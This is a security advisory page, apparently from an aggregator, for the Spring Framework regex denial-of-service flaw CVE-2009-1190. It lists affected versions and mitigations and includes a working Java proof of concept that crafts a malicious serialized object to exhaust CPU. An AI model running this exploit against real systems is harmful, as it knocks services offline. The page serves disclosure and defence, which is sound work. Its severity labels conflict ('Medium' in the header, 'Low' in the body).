REDHAT-BUG-497161: Medium severity SpringSource Spring Framework vulnerability

Published Apr 22, 2009
·
Updated

CVE-2009-1190: Spring Framework Remote Denial of Service vulnerability

Severity: Low

Vendor: SpringSource

Versions Affected: Spring Framework 1.1.0-2.5.6, 3.0.0.M1-3.0.0.M2 dm Server 1.0.0-1.0.2 (note 2.x not affected since dm Server 2.x requires a 1.6 JDK)

Description: The j.u.r.Pattern.compile method in Sun 1.5 JDK has a problem ([1],[2]) with exponential compilation times, when using optional groups. A workaround [3] was

implemented in 1.4.206 but the root cause of poor performance in regex processing was not resolved until JDK 1.6. JdkRegexpMethodPointcut calls Pattern.compile(source[i]); via it's inherited readObject method (from AbstractRegexpMethodPointcut). When Sun JVM 1.5 driven application with spring.jar in its classpath accepts serializable data, an attacker could use a long

regex string with many optional groups to consume enormous CPU resources. And, with a few requests all listeners will be occupied with compiling regex

expressions forever.

Mitigation: - Users of all products may upgrade to JRE/JDK 1.6 which includes the fix for the root cause - Spring Framework 2.5.6.SEC01 has been released for Community users that includes a workaround to the root cause - Spring Framework 2.5.6.SR2 is available for Enterprise users that includes a workaround to the root cause - Disable functionality that accepts serializable data from untrusted sources - dm Server 1.0.3 that includes a workaround to the root cause will be released shortly - Instrumented Spring Framework 2.5.6.SR2 that includes a workaround to the root cause will be released shortly

Example: public class DoSSpring {

static byte[] getSerialized(Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(o); oos.flush(); oos.close(); return baos.toByteArray(); }

public static void main(String[] a) throws Exception{ String thePattern="(Y)?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)" + "?(K)?(W)?(I)?(U)?(G)?(S)?(E)?(Q)?(C)?(O)?(A)?(M)?(Y)?(K)" + "?(W)?(I)?(U)?(a)?$"; String longerPattern = thePattern.substring(0,thePattern.length()-1)+thePattern; int length = longerPattern.length(); String fakePattern = longerPattern.replaceAll(".", "A"); JdkRegexpMethodPointcut jrmp = new JdkRegexpMethodPointcut(); jrmp.setPattern(fakePattern); System.out.println(jrmp); byte[] theArray = getSerialized(jrmp); int i = 0; for (; i< theArray.length;i++) { if (((char)theArray[i])=='A' &&((char)theArray[i+1]=='A')) { break; } } System.arraycopy(longerPattern.getBytes(), 0, theArray, i, length); ByteArrayInputStream bis = new ByteArrayInputStream(theArray); ObjectInputStream ois = new ObjectInputStream(bis); Object o = ois.readObject(); // returns after a very very long time } }

Credit: This issue was discovered by the RedHat Security Response Team

References: [1] http://www.packetstormsecurity.org/hitb06/DAY1-MarcSchoenefeld-PentestingJavaJ2EE.pdf [2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2540 [3] http://archive.cert.uni-stuttgart.de/uniras/2005/01/msg00035.html

Affected Software

2 affected components
SpringSource Spring Framework>=1.1.0<2.5.6, >=3.0.0.M1<3.0.0.M2
SpringSource dm Server>=1.0.0<1.0.2

Event History

Apr 22, 2009
Data Sourced
via Red Hat·03:25 PM
DescriptionSeverityAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of REDHAT-BUG-497161?

The severity of REDHAT-BUG-497161 is classified as Low.

2

What vulnerability does REDHAT-BUG-497161 address?

REDHAT-BUG-497161 addresses a Remote Denial of Service vulnerability in the Spring Framework.

3

Which versions of Spring Framework are affected by REDHAT-BUG-497161?

The affected versions of Spring Framework are from 1.1.0 to 2.5.6 and 3.0.0.M1 to 3.0.0.M2.

4

How do I remediate the issue identified in REDHAT-BUG-497161?

Patch or upgrade the Spring Framework to a version that is not affected, specifically beyond 2.5.6 or 3.0.0.M2.

5

Is dm Server affected by REDHAT-BUG-497161?

Yes, dm Server versions 1.0.0 to 1.0.2 are affected by REDHAT-BUG-497161.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203